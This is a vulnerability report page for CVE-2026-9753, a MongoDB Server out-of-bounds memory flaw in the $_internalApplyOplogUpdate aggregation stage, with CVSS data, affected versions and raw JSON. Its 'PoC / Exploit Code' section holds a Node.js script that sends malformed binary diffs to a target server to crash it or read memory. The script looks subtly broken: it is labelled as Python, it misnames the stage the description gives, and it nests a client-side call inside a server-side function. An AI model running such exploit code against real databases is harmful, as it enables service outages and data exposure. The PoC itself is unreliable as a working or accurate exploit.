Security Vulnerability Report
中文
CVE-2026-9753 CVSS 8.1 HIGH

CVE-2026-9753

Published: 2026-06-09 23:17:05
Last Modified: 2026-06-10 19:43:29

Description

The $_internalApplyOplogUpdate aggregation pipeline stage can be used to execute a document diff containing a malformed binary diff to return memory out-of-bounds or crash the server. $_internalApplyOplogUpdate can be executed by any authenticated user with access to the aggregate command.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

No configuration data available.

MongoDB Server < 7.0.14
MongoDB Server 7.1.x < 7.1.8
MongoDB Server 7.2.x < 7.2.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-9753 PoC - MongoDB $_internalApplyOplogUpdate Memory Out-of-Bounds // Requires authenticated user with aggregate command access const { MongoClient } = require('mongodb'); async function exploitCVE20269753() { const url = 'mongodb://target:27017'; const client = new MongoClient(url, { authSource: 'admin' }); try { await client.connect(); const db = client.db('test'); // Construct malicious aggregation pipeline with malformed binary diff // This triggers $_internalApplyOplogUpdate out-of-bounds access const maliciousPipeline = [ { $match: { _id: 'target_doc' } }, { $group: { _id: null, data: { $push: '$$ROOT' } }}, { $project: { _id: 0, payload: { $function: { body: function() { // Malformed binary diff triggers OOB access return db.adminCommand({ aggregate: 1, pipeline: [{ $internalApplyOplogUpdate: { op: 'u', ns: 'test.coll', o: Buffer.from('malformed_binary_diff_data'), o2: { _id: 'target' } }}], cursor: {} }); }, args: [], lang: 'js' } } }} ]; // Alternative: Direct trigger via aggregate command const exploitResult = await db.command({ aggregate: 'collection', pipeline: [ { $internalApplyOplogUpdate: { op: 'u', ns: 'test.coll', o: Buffer.from([0xFF, 0xFE, 0x00, 0x00, 0xAB, 0xCD]), o2: { _id: 'vulnerable_doc' } }} ], cursor: {} }); console.log('Exploit attempted'); console.log('Result:', exploitResult); } catch (error) { console.error('Error during exploitation:', error.message); } finally { await client.close(); } } exploitCVE20269753();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9753", "sourceIdentifier": "[email protected]", "published": "2026-06-09T23:17:04.897", "lastModified": "2026-06-10T19:43:28.857", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The $_internalApplyOplogUpdate aggregation pipeline stage can be used to execute a document diff containing a malformed binary diff to return memory out-of-bounds or crash the server. $_internalApplyOplogUpdate can be executed by any authenticated user with access to the aggregate command."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1287"}]}], "references": [{"url": "https://jira.mongodb.org/browse/SERVER-124959", "source": "[email protected]"}]}}